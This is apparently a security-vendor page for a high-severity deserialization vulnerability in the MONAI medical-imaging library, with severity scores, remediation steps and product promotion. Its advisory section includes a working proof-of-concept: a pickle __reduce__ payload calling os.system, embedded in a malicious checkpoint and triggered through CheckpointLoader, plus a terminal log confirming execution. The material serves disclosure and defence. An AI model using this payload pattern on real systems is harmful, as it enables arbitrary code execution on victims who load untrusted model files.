GHSA-6vm5-6jv9-rjpj is a high-severity (CVSS 8.8) Deserialization of Untrusted Data vulnerability in monai. O3 Security confirms whether GHSA-6vm5-6jv9-rjpj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
MONAI: Unsafe torch usage may lead to arbitrary code execution
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6vm5-6jv9-rjpj.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-6vm5-6jv9-rjpj plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 371,256 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
monaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.
This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.
Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.
The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.
import os
import tempfile
import json
import torch
from pathlib import Path
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('touch /tmp/hacker2.txt',))
def test_checkpoint_loader_attack():
temp_dir = Path(tempfile.mkdtemp())
checkpoint_file = temp_dir / "malicious_checkpoint.pt"
malicious_checkpoint = {
'model_state_dict': MaliciousPayload(),
'optimizer_state_dict': {},
'epoch': 100
}
torch.save(malicious_checkpoint, checkpoint_file)
from monai.handlers import CheckpointLoader
import torch.nn as nn
model = nn.Linear(10, 1)
loader = CheckpointLoader(
load_path=str(checkpoint_file),
load_dict={"model": model}
)
class MockEngine:
def __init__(self):
self.state = type('State', (), {})()
self.state.max_epochs = None
self.state.epoch = 0
engine = MockEngine()
loader(engine)
proof_file = "/tmp/hacker2.txt"
if os.path.exists(proof_file):
print("Succes")
#os.remove(proof_file)
return True
else:
print("False")
return False
if __name__ == "__main__":
success = test_checkpoint_loader_attack()
Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py
Traceback (most recent call last):
File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
success = test_checkpoint_loader_attack()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
loader(engine)
^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
_tree_apply2(_load_object, to_load, checkpoint_obj)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
_tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
return func(x, y)
^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
obj.load_state_dict(chkpt_obj, **kwargs)
File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
Missing key(s) in state_dict: "weight", "bias".
Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch".
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt hacker2.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi02txakb tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa
Impact
Leading to arbitrary command execution
Fix suggestion
Use a safe method to load, or force weights_only=True
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | monai | all versions | 1.5.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update monai to 1.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6vm5-6jv9-rjpj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6vm5-6jv9-rjpj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6vm5-6jv9-rjpj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6vm5-6jv9-rjpj in your dependencies?
O3 detects GHSA-6vm5-6jv9-rjpj across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.